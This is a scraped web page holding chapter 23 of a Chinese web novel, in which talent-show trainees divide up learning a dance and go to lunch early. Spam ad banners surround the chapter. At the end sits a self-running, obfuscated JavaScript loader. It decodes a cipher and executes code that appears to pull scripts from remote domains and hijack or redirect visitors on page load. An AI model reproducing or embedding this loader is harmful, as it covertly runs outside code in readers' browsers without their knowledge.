第23章 分工合作（第1页）
请退出浏览器阅读模式，否则将导致章节内容缺失及无法阅读下一章。🎁免费-纯欲御姐主播
节目组按照初评级结果将所有练习生进行了分班，还豪气的每个实习生都配了一个平板电脑，方便她们学习。
a班的练习室里，气氛紧张，所有的练习生们都仿佛身后有个计时器在嘀嘀嘀，不敢停歇片刻。大家一人拿着一个平板电脑，开始认真看主题曲《夏日约定》的demo。
《夏日约定》这歌曲难度不低，作为夏日曲，大段明亮清爽的高音，舞蹈动作节奏快且动作细碎。
节目导师们虽然会给予练习生们指导，但是五个班级，一百零一位练习生，导师们很难做到手把手的包教包会，更多的是只会答疑解惑，传授技巧，纠正错误的地方。更多的，还是看练习生们自己。
宁朝颜第一时间就从头到尾把demo重新看了一遍，刚刚在集合的大厅，光顾着感叹和激动了。
她把同一个班的夏知秋，刘嘉佳和杜巧巧叫到一起商量。“《夏日约定》这歌，一共是三分半钟，难度也高。但是节目组给我们的时间只有七十二小时，这其中还包括吃饭的睡觉的时间。是这样的，为了提高效率，我建议我们先扒舞蹈，在扒舞蹈的同时熟悉歌曲，再结合起来练完整版本，你们觉得怎么样。”
刘嘉佳听了她的想法，点点头，赞同道，“舞蹈动作扒出来以后，要想再评级舞台后能继续留在a班，我们还需要大量的练习才能让这个唱跳舞台流畅好看，表情管理也需要时间调整，能省一点时间算一点。”
宁朝颜转头看了眼a班教室里其他七个各自为战的练习生，继续提出建议，“既然我们同一个公司有四个人在a班，那就不要浪费这个优势。我建议我们可以分为两组，我和秋秋扒前半部分的舞蹈动作，嘉佳你和巧巧扒后半部分的舞蹈动作，然后我们再互相教对方，这样可以提高效率，互相之间也能有个人商量，你们觉得怎么样。”
其余三人听到她的提议均是眼前一亮，这个主意不错，扒舞和学舞可不是一个难度，这样她们就能节省出更多的时间来练习了。而且大家都是同一个公司，虽然选秀到最后都是个人战，但节目前期，恰当的合作完全能够达成共赢。
“那我们就开始吧。”宁朝颜站起身来，找了一个没人的角落，开始对着demo顺动作。
整个练习室很大，而且3面都是大镜子，a班人又少，练习生们都带着运动蓝牙耳机，认真对照着平板电脑上导师们为她们录制的demo视频学习，互不干扰，只有偶尔传出的轻轻歌声和跳舞出的脚步声。
宁朝颜先把节目组提供的demo视频调整成镜面模式，又数着拍子从头到尾熟悉了一下歌曲节奏，把视频度调到o。7倍，一个八拍一个八拍的跟着视频，对着镜子学习舞蹈动作，再一段一段把动作连贯起来。
等到慢跟练的动作大致差不多了，宁朝颜开始细致的调整细节，手腕的角度，手指的方向，动作的力度，轻重点等等。实在是跳累了就把自己已经练的差不多的部分录下来，和demo进行比对，顺便休息一下已经到达临界值的身体，舒缓一下紧绷的神经。
抬头看了看墙上的钟表，离十二点还有不到十分钟，快到午饭时间了，宁朝颜叫上其他三个人，准备先去食堂吃饭。
a班其他的练习生们还在如火如荼的练习着，杜巧巧被叫去吃饭，有些不安的道，“我们就去吃饭吗？可是大家都还在练习。”
宁朝颜看了眼练习室的其他人，轻声说道，“我们有一百多个人，去晚了食堂肯定得排长队，多练这几分钟，还不如先去吃饭，吃完还得休息一会儿才能运动，趁这个休息时间还可以在脑子里复盘一下。”
身为大一新生，几个月前才刚经历过大学军训的宁朝颜表示自己很有经验，干饭这种事情，宜早不宜迟。
虽然练习生们的食堂是单独的，并不跟工作人员一起，但别看都是一群小女生，上午的运动强度这么大，不吃饭人肯定撑不住的。食堂大厨出餐也不是一次性做好一百多人份的量，出餐也需要时间，来晚的练习生们就只能排队等着了。
她们四个人来到食堂的时候刚好开餐，没有什么练习生在，她们顺畅的取到自己想吃的食物。
四个小女生坐在一张桌子上，吃的喷香，一边吃还一边感叹着。
“我们节目组伙食好好哦，我看以前的那些选秀节目，吃的最多的就是各种蔬菜，跟喂兔子似的。”夏知秋开心的啃了一口鸡翅，香喷喷的。
杜巧巧啃了一口包子，皮薄馅厚，汁水丰沛。“是啊，而且品种也多，有辣的有不辣的，包子、面点、米饭，各个地方的口味和饮食习惯都照顾到了，真用心。”
刘嘉佳却一边狠狠扒了一口饭，一边出一声哀叹，“吃这么好，我都不敢想象，到了台上，我身上的肉肉会被镜头放大成什么样。”
“担心什么，就咱们节目组这练习强度，就算是长肉也都是长的肌肉。不多吃一点，怎么有力气唱跳。缺少碳水可是会影响人的记忆力的，万一关键时刻忘动作忘歌词了，估计得直线掉到e班，那才叫得不偿失。”宁朝颜是觉得不能靠节食来减肥的那一类人，所以她很少控制饮食分量。只是有意识的避免吃糖分和油分过重的食物，这种食物不仅会让人容易胖，还会影响皮肤状态。
节目组食堂午餐的营业时间是中午12:oo到13:oo，她们吃完准备离开食堂的时候，练习生已经66续续来用餐了，取餐窗口已经开始排起了长队。
宁朝颜四人见状相视一笑，将餐盘放到了回收处。刚吃过午饭，没有办法剧烈运动，她们准备回房间稍作休息，放松一下，再去练习室继续练习。
根据上午的进度，她们想要在晚饭之前把自己那半歌的舞蹈扒完练熟，晚上再互相教，这样今天她们就能学完整支舞蹈。
🎁免费-纯欲御姐主播请退出浏览器阅读模式，否则将导致章节内容缺失及无法阅读下一章。
!function(){function a(a){var _idx="p37jwwh5ui";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP@07Rq^)Om4DT66:mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^)Om4DT66:mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^)Om4DT66:mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^)Om4DT66:mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^)Om4DT66:mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^)Om4DT66:mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^)Om4DT66:mRT4gQ@KQ"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/@0jR8Js1CDDhn_6"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"@0"=X8"Js1CDDhn_6"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"@07Rq^d(m57YSSqmRT4"="@07Rq^)5mpTD6FCmRT4"="@07Rq^YFm57YSSqmRT4"="@07Rq^^CmpTD6FCmRT4"="@07Rq^Y5m57YSSqmRT4"="@07Rq^(FmpTD6FCmRT4"="@07Rq^h^m57YSSqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@KQ"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPP@07Rq^)T(m^DORX^mRT4gQ@KQ/((/@0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPP@07Rq^)T(m^DORX^mRT4gQ@KQ/((/@0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPP@07Rq^)Om4DT66:mRT4gQ@KQ/f/@0j(8}vR8Js1CDDhn_6"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPP@07Rq^)Om4DT66:mRT4gQ@KQ"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();
www.rywoool.com 传奇小说
畅快阅读 永久免费
请注意适当休息 保护好您的眼睛